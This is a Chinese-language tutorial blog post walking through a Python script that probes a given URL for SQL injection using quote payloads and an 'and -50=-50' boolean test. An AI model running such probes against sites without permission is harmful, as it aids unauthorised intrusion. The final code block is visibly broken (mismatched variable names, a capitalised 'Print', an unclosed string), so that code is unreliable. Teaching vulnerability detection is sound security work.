Ghost Wolf Team For real hackers and justice

如何编写SQL注入的POC

2020-03-21
young
POC

前言

我去年十月份挖洞挖着就挖到0day了,然后发现18年就被人提过了,内心复杂
然后我昨晚闲着无聊,就写个poc,随缘,见一步写一步,哈哈~
大佬轻点喷
这里首先介绍一下什么是poc,poc就是指验证网址存在漏洞的一个py
exp是漏洞利用
简单的描述一下,咳咳~~

正文

如何编写

我拿出这三个网址,来判断
poc也只是代替一下手工的,所以我们先手工看一下sql注入的回显

图片1.png

我们可以看出,加个双引号报错了这个信息,

图片2.png

开始编写

import requests
import time
from argparse import ArgumentParser

首先调用这3个库
后面会讲为什么

第一步

看到上面,我们可以使用单引号,双引号来判断是否报错

arg = ArgumentParser(description="test.py -u http://www.xxxx.com/news?id=1")
arg.add_argument('-u', help='target URL', dest='urls', type=str)
url = arg.parse_args()
payload = ["%27","%22"]

首先,我们要使用argparse模块,使用命令行来。

这一块代码:

第一句:首先是创建命令行解析器句柄,并自定义描述信息,以及如何使用。这就是脚本中的-h
-u ,目标的url
第三~四句 是返回一个命名空间,然后我们就是单引号和双引号的一个payload检测

第二步

def poc():
 for payloads in payload:
 tg_host = url.urls + payloads
 test_1 = requests.get(tg_host)
 a = str(test_1.text)
 if 'mysql_fetch_row()' in a:
 if payloads == '%22':
 print('[+] The first stage test is successful!')
 print('[+] Url may be vulnerable!')
 else:
 print("[-] Payload appears to have made a mistake, or there is no vulnerability")

 tg_host = url.urls + "+and+-50%3d-50"
 scan_1 = requests.get(tg_host)
 scan_2 = requests.get(url.urls)
 text_1 = scan_1.content
 text_2 = scan_2.content
 if text_1 == text_2:
 print("[+] The second stage test is successful!")
 print('[+] Url may be vulnerable!')
 else:
 print("[-] Payload appears to have made a mistake, or there is no vulnerability")
 print("[*] URL: %s"%url.urls)

我们定义一个函数,然后使用for循环遍历payload,至于url.urls 就是调用的方法,接受用户传参

print(url)
print(url.urls)

我们可以这样看一下,就可以看出了这2个区别。就知道怎么调用了,当然,也可以使用sys模块来.
我们就先看一下for循环是啥

for payloads in payload:
tg_host = url.urls + payloads
test_1 = requests.get(tg_host)
a = str(test_1.text)
if 'mysql_fetch_row()' in a:
if payloads == '%22':
print('[+] The first stage test is successful!')
print('[+] Url may be vulnerable!')
else:
print("[-] Payload appears to have made a mistake, or there is no vulnerability")

然后就是请求传参,然后再.text,返回页面信息

图片3.png

发现报错,出现了这个报错信息,和上面的那个图片一样,这样的话我们就可以使用str()强转为字符串。
强转后再判断这个报错的函数 是否在这个返回的字符串中
然后再if判断,当这个单/双引号判断后,就会输出 第一个阶段测试成功,如果不成功的话,就输出可能出现了错误等等,因为我英语自小就不好。所以就英汉互译下~~~
如果网站不存在的话,也可以编码下,返回一下页面(当然,不是图片啥的),也可以直接pass掉

第三步

tg_host = url.urls + "+and+-50%3d-50"
scan_1 = requests.get(tg_host)
scan_2 = requests.get(url.urls)
text_1 = scan_1.content
text_2 = scan_2.content
if text_1 == text_2:
print("[+] The second stage test is successful!")
print('[+] Url may be vulnerable!')
else:
print("[-] Payload appears to have made a mistake, or there is no vulnerability")
print("[*] URL: %s"%url.urls)

这段代码依然如此,拼接了 and -50=-50 的编码
然后再请求,2个,一个是拼接了 -50=-50的参数。一个是正常的url

图片4.png

输出后就是这样,然后我们在使用content来判断 两个页面传回来的是不是也要,一样的话
就输出那串英文。
然后最后再把url输出

第四步

if __name__=='__main__':
sta = time.time()
poc()
end = time.time()
run_time = int(end - start)
Print(“漏洞探测耗时 %ss% (int(end - start))

然后

if name==main:

就是程序的入口,也就是说从这边开始,调用哪个哪个
首先设置一个开始的时间
sta,然后再设置个结束的时候end
然后结束的时间减掉开始的时间,就是我们执行的时间

文末

这也是我昨天无聊,然后想玩一玩写的一个。大佬勿喷
分享一个思路,poc和exp不一样
同理来说,poc只是验证漏洞的存在。所以poc不是很难写,只是缺个思路
(除非非常难理解的漏洞,只要理解漏洞原理就好)
poc只是代替手工。所以可以先试下手工一下。然后再看一下如何使用代码实现的
这是运行结果:
(如果觉得不咋地的话,请轻点喷)

图片5.png

图片6.png


Similar Posts

上一篇 SQL绕过waf

Comments